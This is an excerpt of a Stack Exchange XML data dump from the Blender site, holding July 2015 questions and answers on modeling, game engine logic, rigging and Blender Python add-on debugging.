  <row Id="33596" PostTypeId="2" ParentId="33542" CreationDate="2015-07-08T09:37:36.397" Score="3" Body="&lt;p&gt;I think you are on the right track here, but the slowest part is the creation of all the primitives. (reason - each new object's name must be checked for name collisions, and this gets progressively slower as more objects are added, it's not something we can prevent, via python)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead use &lt;code&gt;from_pydata&lt;/code&gt; and generate the cube data as a function of the their center x,y,z and then extend the verts and face indices that way. Lateron you can do a post processing step which removes all the redundant (inner) faces&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As related question / answer here: &lt;a href=&quot;https://blender.stackexchange.com/questions/33121/extruding-problem/33124#33124&quot;&gt;Extruding problem&lt;/a&gt;  shows how to construct the pydata for cubes in one massive list&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here this is rather fast, but doesn't remove redundant geometry -- but it is miles faster than adding primitives: &lt;a href=&quot;https://gist.github.com/zeffii/7ef17b4932e61ee12221&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gist.github.com/zeffii/7ef17b4932e61ee12221&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-07-28T07:38:24.510" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33597" PostTypeId="1" CreationDate="2015-07-08T09:55:05.633" Score="0" ViewCount="5128" Body="&lt;p&gt;I did something and animation panel(where key frames) now is hidden.&#xA;How to restore visibility of animation panel?&lt;/p&gt;&#xA;" OwnerUserId="14476" LastActivityDate="2015-07-08T10:29:03.137" Title="How to restore visibility of animation panel?" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33598" PostTypeId="1" AcceptedAnswerId="33606" CreationDate="2015-07-08T09:59:56.687" Score="1" ViewCount="460" Body="&lt;p&gt;I am trying to make a door open for a game i'm making using the blender game engine, i have the animations set up for the door, I have everything set up for the door to activate yet nothing happens. How would I get this to work.&lt;img src=&quot;https://i.stack.imgur.com/WMpQy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/327/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=327&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15259" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-07-08T20:25:49.697" Title="How would I make a door open when a key is pressed and a character is near?" Tags="&lt;animation&gt;&lt;game-engine&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33599" PostTypeId="2" ParentId="33591" CreationDate="2015-07-08T10:05:45.230" Score="1" Body="&lt;p&gt;First things first. Boolean is not a good choice in my opinion to receive simple shapes like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I understand you right, you only want a cube which has rounden edges with a rectangular whole in the middle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how I would do it.&#xA;First create a simple Cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2B7s2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Than subdivide it twice&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wBttx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Delete the inner faces&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nyhes.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now select &quot;Bridge Edge Loop&quot; under the &quot;CTRL +E&quot; Sub Menu&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gGmTt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last but not least, round your edges&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JMOBe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can still add a subdivision Modifier to make it even more smooth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mWSgS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To keep the whole sharp, select all edges and increase the Mean Crease to 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xDy3x.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now select the faces you want to be sharp and click Faces -&gt; Sharp under the &quot;Shading&quot;-Tab&lt;/p&gt;&#xA;" OwnerUserId="5376" LastEditorUserId="5376" LastEditDate="2015-07-08T13:01:35.937" LastActivityDate="2015-07-08T13:01:35.937" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="33600" PostTypeId="1" AcceptedAnswerId="34794" CreationDate="2015-07-08T10:28:08.143" Score="0" ViewCount="258" Body="&lt;p&gt;My ray cannot detect a sensor object. I can't make the object anything other than a sensor. How can I have a ray detect sensor objects?&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-07-30T09:11:08.593" Title="Ray can't detect sensor objects?" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33601" PostTypeId="2" ParentId="33597" CreationDate="2015-07-08T10:29:03.137" Score="1" Body="&lt;p&gt;Every portion of the window can be configurated rappresenting an editor, the animation-related windows are: timeline, graph editor, dope-sheet, and NLA editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QvZkD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create a new portion of window by selecting and dragging the little triangle in the up right angle of every portion of window. Right clic on the separation line between two windows to join them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check also the upper header (info window), for default templates of windows organization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sM2w6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have the option &quot;back to previous&quot;, click it!&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-07-08T10:29:03.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33602" PostTypeId="2" ParentId="33587" CreationDate="2015-07-08T11:38:41.150" Score="2" Body="&lt;p&gt;you will have to edit the file yourself. You can delete the empty line between &quot;category&quot; and &quot;anim stuff&quot;, it seems to trip up the &lt;code&gt;bl_info&lt;/code&gt; parsing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;   &quot;name&quot;: &quot;Zelda64 Importer&quot;,&#xA;   &quot;author&quot;: &quot;SoulofDeity&quot;,&#xA;   &quot;blender&quot;: (2, 6, 0),&#xA;   &quot;location&quot;: &quot;File &amp;gt; Import-Export&quot;,&#xA;   &quot;description&quot;: &quot;Import Zelda64&quot;,&#xA;   &quot;warning&quot;: &quot;&quot;,&#xA;   &quot;wiki_url&quot;: &quot;https://code.google.com/p/sods-blender-plugins/&quot;,&#xA;   &quot;tracker_url&quot;: &quot;https://code.google.com/p/sods-blender-plugins/&quot;,&#xA;   &quot;support&quot;: 'COMMUNITY',&#xA;   &quot;category&quot;: &quot;Import-Export&quot;,&#xA;   &quot;Anim stuff&quot;: &quot;RodLima http://www.facebook.com/rod.lima.96?ref=tn_tnmn&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-07-08T14:39:44.397" LastActivityDate="2015-07-08T14:39:44.397" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33603" PostTypeId="1" AcceptedAnswerId="33613" CreationDate="2015-07-08T12:30:37.767" Score="12" ViewCount="17816" Body="&lt;p&gt;I am new to blender, but not python, and have been asked to create a user-input dependent, stylized animation of a protein network I am working with:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;text document &gt;&gt; information processed by python-script &gt;&gt; blender animates&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if certain parameters in the network are changed, the differences in behavior can be observed visually as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of coding in Blender's built-in Text Editor, I have been working in &quot;pycharm&quot;. However, when I attempt to run the program through blender, it will throw an error and inform me that all my custom modules cannot be found and imported, though they are all in the same directory. Same goes for all the text documents. The text files in particular are a problem as we are talking about thousands of data-points that can't be manually entered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All modules and text files are saved in the same directory as the program's master runner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am working on a windows 7, 64 bit windows machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;additional information&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;the errors:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; # import error: &#xA; no module named 'x'&#xA; # filenotfounderror:&#xA; [errno2] No such file or directory: 'y'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;blender_file_directory: C:\Users\Henry\Documents\Blender\file.blend&lt;/p&gt;&#xA;&#xA;&lt;p&gt;python_files_directory: C:\Users\Henry\PycharmProjects\project_name\runner.py&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# import of modules:&#xA;from module import *&#xA;&#xA;# import of txt file:&#xA;numpy.loadtxt('gillespie.txt', unpack=False)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The script is called through blender's own SDK like so: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;filename = &quot;C:/Users/Henry/PycharmProjects/project_name/runner.py&quot;&#xA;exec(compile(open(filename).read(), filename, 'exec'))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Text files are stored in the same directory as python scripts, so importing them when running the script through python is no problem. Only when it's run through blender does it throw an error.&lt;/p&gt;&#xA;" OwnerUserId="15471" LastEditorUserId="63447" LastEditDate="2019-02-16T00:18:38.893" LastActivityDate="2020-07-24T13:29:16.400" Title="Importing python modules and text files" Tags="&lt;python&gt;&lt;scripting&gt;&lt;external-applications&gt;&lt;path&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="33604" PostTypeId="1" CreationDate="2015-07-08T12:37:00.593" Score="2" ViewCount="392" Body="&lt;p&gt;As I described in the title, some materials aren't rendered. I'm not sure, but I think it only happens if I &quot;copy paste&quot; or append objects with their materials. I can solve this problem by recreating the broken materials (but this is a tedious task).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The materials are visible in textured viewport. Only when I  &lt;strong&gt;start&lt;/strong&gt; the BGE they are invisible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you can Download the .blend:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/4jwpby7ev99hurb/GE%20material%20problem.blend?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Download&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(it is a car game. on the left is a text editor where I describe the problem again)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6IBfu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in this picture you can see the Material which disappears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/S5Epe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15497" LastEditorUserId="15497" LastEditDate="2015-07-08T19:24:31.427" LastActivityDate="2016-02-11T03:28:36.357" Title="Some materials aren't rendered in the Blender Game Engine" Tags="&lt;game-engine&gt;&lt;materials&gt;&lt;opengl&gt;&lt;append&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33605" PostTypeId="1" AcceptedAnswerId="33612" CreationDate="2015-07-08T12:37:47.687" Score="2" ViewCount="321" Body="&lt;p&gt;I am writing an addon,I am here defining variables based on a list to use it in  &quot;for in&quot; statement.But when I run the addon it is not working properly or not working at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;description of the addon&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The addon is made to disable visablity, selection and rendering based on visablity,selection and rendering so for instance if I want to make the hidden object non renderable I can use the addon to do that, I can also make the unselectable hidden and so on, it is useful in some cases like Boolean which we hidded an want to make them non renderable and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works as following, there is 2 lists and 2 booleans when you run the addon,the 1st Boolean define what will be done (disable or enable) 1st list define which property will be edited (like renderable in the Boolean modifier example). 2nd Boolean define when should the addon be done(when the property is disabled or enabled) 2nd list define the property which the addon will be dobe based on, (like the visability in the Boolean mdofier example)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;code&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# ##### BEGIN GPL LICENSE BLOCK #####&#xA;#&#xA;#  This program is free software; you can redistribute it and/or&#xA;#  modify it under the terms of the GNU General Public License&#xA;#  as published by the Free Software Foundation; either version 2&#xA;#  of the License, or (at your option) any later version.&#xA;#&#xA;#  This program is distributed in the hope that it will be useful,&#xA;#  but WITHOUT ANY WARRANTY; without even the implied warranty of&#xA;#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the&#xA;#  GNU General Public License for more details.&#xA;#&#xA;#  You should have received a copy of the GNU General Public License&#xA;#  along with this program; if not, write to the Free Software Foundation,&#xA;#  Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.&#xA;#&#xA;# ##### END GPL LICENSE BLOCK #####&#xA;&#xA;bl_info = {&#xA;    &quot;name&quot;: &quot;Restrict Object&quot;,&#xA;    &quot;author&quot;: &quot;Omar Ahmed&quot;,&#xA;    &quot;version&quot;: (1, 0),&#xA;    &quot;blender&quot;: (2, 75, 0),&#xA;    &quot;location&quot;: &quot;View3D &amp;gt; Object &amp;gt; &quot;,&#xA;    &quot;description&quot;: &quot;Enable/Disable viewport visability,selection and rendering based on restrict options&quot;,&#xA;    &quot;warning&quot;: &quot;&quot;,&#xA;    &quot;wiki_url&quot;: &quot;&quot;,&#xA;    &quot;tracker_url&quot;: &quot;&quot;,&#xA;    &quot;category&quot;: &quot;Object&quot;}&#xA;&#xA;&#xA;import bpy&#xA;from bpy.props import EnumProperty,BoolProperty&#xA;&#xA;class RestrictObject(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Restrict Object visability&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.restrict_object&quot;&#xA;    bl_label = &quot;Restrict Object&quot;&#xA;    bl_options = {'UNDO','REGISTER'}&#xA;&#xA;    Operation_boolean =  BoolProperty(name=&quot;Disable&quot;, description=&quot;Disabl selected property based on the other selected property&quot;, default=True)&#xA;    Operation_list =     EnumProperty(items = [('Viewport visibility', 'Viewport visibility', 'viewport visibility'), &#xA;                                      ('Viewport selection', 'Viewport selection', 'viewport selection'),&#xA;                                      ('Rendering','Rendering','Rendering')],&#xA;                             name=&quot;Property&quot;,&#xA;                             description=&quot;Select the property you want to change&quot;,&#xA;                             default=&quot;Rendering&quot;)   &#xA;    Original_boolean =  BoolProperty(name=&quot;Disabled&quot;, description=&quot;The original property&quot;, default= True)&#xA;    Property_list =     EnumProperty(items = [('Viewport visibility', 'Viewport visibility', 'viewport visibility'), &#xA;                                      ('Viewport selection', 'Viewport selection', 'viewport selection'),&#xA;                                      ('Rendering','Rendering','Rendering')],&#xA;                             name=&quot;Original property&quot;,&#xA;                             description=&quot;Select the property in which the operation will be based on&quot;,&#xA;                             default=&quot;Viewport visibility&quot;)   &#xA;&#xA;&#xA;    def execute(self, context):&#xA;&#xA;        if self.Operation_list == &quot;Viewport visibility&quot; :&#xA;            Restricted_property = &quot;object.hide&quot;&#xA;        elif self.Operation_list == &quot;Viewport selection&quot; :&#xA;            Restricted_property = &quot;object.hide_select&quot;&#xA;        else :&#xA;            Restricted_property = &quot;object.hide_render&quot;&#xA;&#xA;&#xA;        if self.Property_list == &quot;Viewport visibility&quot; :&#xA;            Original_property = &quot;object.hide&quot;&#xA;        elif self.Property_list == &quot;Viewport selection&quot; :&#xA;            Original_property = &quot;object.hide_select&quot;&#xA;        else :&#xA;            Original_property = &quot;object.hide_render&quot;&#xA;&#xA;&#xA;        for object in bpy.context.scene.objects:&#xA;            if Original_property == self.Original_boolean :&#xA;                Restricted_property = self.Operation_boolean&#xA;&#xA;            return {'FINISHED'}&#xA;&#xA;&#xA;class RestrictObjectPanel(bpy.types.Panel):&#xA;    &quot;&quot;&quot;Restrict Object Panel&quot;&quot;&quot;&#xA;    bl_idname = &quot;SCENE_PT_Restrict_Object&quot;&#xA;    bl_label = &quot;Restrict Object Panel&quot;&#xA;&#xA;    bl_space_type = 'PROPERTIES'&#xA;    bl_region_type = 'WINDOW'&#xA;    bl_context = 'scene'&#xA;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        layout.operator(RestrictObject.bl_idname, text = &quot;Restrict object&quot;, icon = 'FILE_REFRESH')&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(RestrictObject)&#xA;    bpy.utils.register_class(RestrictObjectPanel)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(RestrictObject)&#xA;    bpy.utils.unregister_class(RestrictObjectPanel)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I guess that defining variable portion is the wrong,but when I try to fix it it give me more errors,so I want to get a review here before doing anything else.&lt;/p&gt;&#xA;" OwnerUserId="5794" LastEditorUserId="47" LastEditDate="2015-07-09T05:26:14.540" LastActivityDate="2015-07-09T14:01:33.463" Title="Why is this script not working properly?" Tags="&lt;python&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33606" PostTypeId="2" ParentId="33598" CreationDate="2015-07-08T12:48:20.743" Score="1" Body="&lt;p&gt;I tested your .blend and as you said everything is set up correctly.&#xA;But the 'Near' sensor only gets activated by &quot;Actors&quot; (this is a physic 'property') so you need to go to the physic tap of your character (Cube) and actiate Actor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AvKAG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15497" LastEditorUserId="15497" LastEditDate="2015-07-08T17:36:48.663" LastActivityDate="2015-07-08T17:36:48.663" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33608" PostTypeId="2" ParentId="33593" CreationDate="2015-07-08T13:02:42.953" Score="3" Body="&lt;p&gt;You also could use the snapping tool:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L0PLP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Choose 'Vertex Snap' and then grab the vertex close to the other vertex. Hold &lt;kbd&gt;Ctrl&lt;/kbd&gt; to activate the snapping. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then the vertices should snap together. When you have snapped all your vertices you want to Merge, select everything by pressing &lt;kbd&gt;A&lt;/kbd&gt;. Then press &lt;kbd&gt;W&lt;/kbd&gt; an choose 'Remove Doubles'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a much faster way to do it if you have to snap multiple vertices.&lt;/p&gt;&#xA;" OwnerUserId="15497" LastEditorUserId="3710" LastEditDate="2015-07-08T15:08:36.153" LastActivityDate="2015-07-08T15:08:36.153" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33609" PostTypeId="1" CreationDate="2015-07-08T13:02:47.667" Score="1" ViewCount="478" Body="&lt;p&gt;Is it possible to make blender hide all the selected faces on the 3D model when you are in the UV edit mode? Or perhaps create a script that does? It's hard to see what you select in the UV editor and not having the &quot;keep mesh in sync&quot; option activated. What I can do so far is to hide the faces by unchecking the option in the 3D view toolbar but you still get the edges highlighted which makes the seams hard to see. What I is for the model to appear as it would look in edit mode with solid shading and nothing selected, that is with standard black edges and seams visible. How can this be achieved? &lt;/p&gt;&#xA;" OwnerUserId="14034" LastEditorUserId="3401" LastEditDate="2015-07-08T18:28:32.603" LastActivityDate="2015-07-08T18:28:32.603" Title="How does one hide selected faces in 3d View while in UV editor?" Tags="&lt;uv&gt;&lt;3d-view&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33610" PostTypeId="1" AcceptedAnswerId="33619" CreationDate="2015-07-08T13:07:44.983" Score="2" ViewCount="118" Body="&lt;p&gt;We are working on a game with isometric tiles. We have decided to use blender to create models for objects we need (mostly buildings) and render to image to get our tiles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now we need different tiles showing progress of a building being built, say at 20% of construction progress, then 40, 60, 80 and 100%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We initially used different layers to add the new brick layers added between two stages. The problem with this approach is that we do not get a single object and it is a collection of objects scattered on different layers which are tricky to correctly position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another method we thought of was saving the model at various stages of construction progress. This method also has the disadvantage of having multiple files for a single object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;br&gt;&#xA;Yet another method we just briefly checked is using &lt;em&gt;shape keys&lt;/em&gt;. That too, seems to serve a different objective. So the main question still is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a better method to use?&lt;/p&gt;&#xA;" OwnerUserId="14598" LastEditorUserId="14598" LastEditDate="2015-07-08T16:29:55.697" LastActivityDate="2019-06-02T21:04:25.450" Title="Right method to use for tiles of buildings in various phases of construction" Tags="&lt;modeling&gt;&lt;objects&gt;&lt;workflow&gt;" AnswerCount="2" CommentCount="0" ClosedDate="2019-02-20T02:13:14.680" ContentLicense="CC BY-SA 3.0" />
  <row Id="33611" PostTypeId="2" ParentId="32828" CreationDate="2015-07-08T13:19:51.927" Score="1" Body="&lt;p&gt;This is a common problem. Up in the top right you will see that it says Auto-run disabled. You have to press the button beside it that says reload trusted, and it should resolve your issue.&lt;/p&gt;&#xA;" OwnerUserId="15498" LastActivityDate="2015-07-08T13:19:51.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33612" PostTypeId="2" ParentId="33605" CreationDate="2015-07-08T13:20:15.457" Score="2" Body="&lt;p&gt;The execute function is indeed where the magic is failing :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;yours&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def execute(self, context):&#xA;&#xA;    if self.Operation_list == &quot;Viewport visibility&quot; :&#xA;        Restricted_property = &quot;object.hide&quot;&#xA;    elif self.Operation_list == &quot;Viewport selection&quot; :&#xA;        Restricted_property = &quot;object.hide_select&quot;&#xA;    else :&#xA;        Restricted_property = &quot;object.hide_render&quot;&#xA;&#xA;&#xA;    if self.Property_list == &quot;Viewport visibility&quot; :&#xA;        Original_property = &quot;object.hide&quot;&#xA;    elif self.Property_list == &quot;Viewport selection&quot; :&#xA;        Original_property = &quot;object.hide_select&quot;&#xA;    else :&#xA;        Original_property = &quot;object.hide_render&quot;&#xA;&#xA;&#xA;    for object in bpy.context.scene.objects:&#xA;        if Original_property == self.Original_boolean :&#xA;            Restricted_property = self.Operation_boolean&#xA;&#xA;        return {'FINISHED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The most important thing here to realize is that you aren't executing code in your assignment to the &lt;code&gt;Restricted_property&lt;/code&gt; variable, but you might want to dive deeper into Python to fully appreciate this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;my Pythonic rewrite&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def execute(self, context):&#xA;&#xA;    op_dict = {&#xA;        &quot;Viewport visibility&quot;: &quot;hide&quot;,&#xA;        &quot;Viewport selection&quot;: &quot;hide_select&quot;&#xA;    }&#xA;&#xA;    # if self.operation_list is not explicitely mentioned in op_dict above&#xA;    # using .get() will return 'hide_render' instead.&#xA;    Restricted_property = op_dict.get(self.Operation_list, 'hide_render')&#xA;    Original_property = op_dict.get(self.Property_list, 'hide_render')&#xA;&#xA;    for object in bpy.context.scene.objects:&#xA;        if getattr(object, Original_property) == self.Original_boolean:&#xA;            setattr(object, Restricted_property, self.Operation_boolean)&#xA;&#xA;    return {'FINISHED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think that's what you want anyway. Notice the use of &lt;code&gt;getattr&lt;/code&gt; and &lt;code&gt;setattr&lt;/code&gt; they are very useful for dynamic programming. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally I've placed the &lt;code&gt;return&lt;/code&gt; statement after the loop, so the loop will iterate over all objects (but if that was intentional returning early, revert that change)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.python.org/3/library/functions.html#setattr&quot; rel=&quot;nofollow&quot;&gt;https://docs.python.org/3/library/functions.html#setattr&lt;/a&gt;&#xA;&lt;a href=&quot;https://docs.python.org/3/library/functions.html#getattr&quot; rel=&quot;nofollow&quot;&gt;https://docs.python.org/3/library/functions.html#getattr&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-07-09T14:01:33.463" LastActivityDate="2015-07-09T14:01:33.463" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="33613" PostTypeId="2" ParentId="33603" CreationDate="2015-07-08T13:36:04.330" Score="8" Body="&lt;p&gt;When you execute a python script inside Blender, the current working directory is not the base directory of your .blend file. You can easily confirm this by importing &lt;code&gt;os&lt;/code&gt; and printing &lt;code&gt;os.getcwd()&lt;/code&gt;, and that will explain why blender isn't finding these modules you're trying to import.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you'll get the current .blend filepath using &lt;code&gt;bpy.data.filepath&lt;/code&gt;, from which you should be able to construct relative paths, or switch pythons working directory. if that's more convenient (remember to switch it back )&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-07-08T13:41:39.413" LastActivityDate="2015-07-08T13:41:39.413" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33614" PostTypeId="1" AcceptedAnswerId="33654" CreationDate="2015-07-08T13:39:01.847" Score="0" ViewCount="6190" Body="&lt;p&gt;I made fractures in an object, I thought it would shatter by the liquid in side the object (the liquid is moving wildly) but it didn't. I tried to make a projectile that would collide with the object to shatter it, but it goes through the object (I checked both objects whether they have collision properties).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I let an object (which already has fractures) actually shatter apart by collision?&lt;/p&gt;&#xA;" OwnerUserId="15386" LastActivityDate="2017-03-14T22:45:11.940" Title="shatter an object?" Tags="&lt;physics&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33615" PostTypeId="1" AcceptedAnswerId="33620" CreationDate="2015-07-08T13:54:13.390" Score="1" ViewCount="8055" Body="&lt;p&gt;As the title says, my mesh does not deform along with the rigify bones in pose mode, even though the bones are in pose, and not rest position. I have already adjusted the weighting, and I know that in the past, it's worked completely fine. I have no idea as to what caused it, though I believe it has something to do with changing the weights on some of my objects. &lt;p&gt;&#xA;In the past versions of Blender, selecting multiple vertices in edit mode during this stage would have crashed the program, though that seems to be fixed in the latest version, giving me some hope that this is a mistake on my part, or a fixable bug. &lt;p&gt;&#xA;Below is a screenshot of what the problem is like. I've also attached the .blend file in the link for anyone willing to lend a hand.&#xA;&lt;img src=&quot;https://fbcdn-sphotos-g-a.akamaihd.net/hphotos-ak-xtf1/t31.0-8/11731749_917765294948662_5152213683614395320_o.jpg&quot; alt=&quot;whatthefuckseriously&quot;&gt;&lt;p&gt;&#xA;&lt;a href=&quot;https://www.dropbox.com/s/hnb7p4zo83a9evw/Natlie_rig.blend?dl=0&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/hnb7p4zo83a9evw/Natlie_rig.blend?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15498" LastActivityDate="2015-07-08T20:21:12.583" Title="Mesh does not move along with bones in pose mode (uses rigify armature) Ver 2.75" Tags="&lt;modeling&gt;&lt;animation&gt;&lt;mesh&gt;&lt;rigify&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
